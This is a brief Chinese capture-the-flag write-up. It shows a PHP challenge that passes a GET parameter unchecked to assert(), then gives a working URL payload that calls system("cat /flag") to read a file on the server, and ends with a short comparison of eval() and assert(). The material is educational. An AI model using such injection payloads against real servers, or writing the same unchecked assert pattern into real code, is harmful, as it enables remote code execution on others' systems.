源码

<?php
if(isset($_GET[2024])){
assert($_GET[2024]);
} else {
echo "服务器剩余防御:1层";
}
?>

思路

存在危险函数 assert() ,可以执行系统命令,使用下面的参数即可

http://ctf.seek2.top:32805/?2024=system(%22cat%20/flag%22)

知识点

在PHP中,eval()assert()都是用于执行字符串作为PHP代码的函数,但它们的用途和行为有所不同。

  1. eval():这个函数接受一个字符串参数,并将其作为PHP代码执行。它可以执行任何类型的PHP代码,包括定义变量、函数和类。如果代码执行成功,eval()将返回最后一个表达式的结果;如果代码执行失败,它将返回FALSEeval()的主要问题是安全性,因为它可以执行任何PHP代码,所以如果你不小心,可能会执行恶意代码。
$code = '$a = 5; $b = 10; return $a + $b;';
$result = eval($code);
echo $result; // 输出:15
  1. assert():这个函数主要用于断言。它接受一个字符串或表达式,如果该表达式的结果为FALSE,则会抛出一个警告或异常(取决于assert.exception配置)。assert()主要用于开发和测试阶段,用于检查代码的正确性。在生产环境中,通常会禁用断言。
assert('$a == $b', 'a and b are not equal');

总的来说,eval()assert()都可以执行PHP代码,但eval()更通用,也更危险,而assert()主要用于开发和测试阶段,用于检查代码的正确性。